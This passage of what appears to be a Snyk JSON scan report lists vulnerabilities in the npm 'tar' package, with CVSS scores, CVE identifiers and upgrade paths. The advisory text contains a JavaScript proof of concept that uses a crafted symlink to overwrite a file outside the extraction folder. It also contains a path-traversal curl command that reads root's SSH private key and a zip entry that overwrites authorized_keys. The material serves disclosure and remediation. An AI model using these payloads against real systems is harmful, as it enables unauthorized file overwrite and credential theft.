"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], 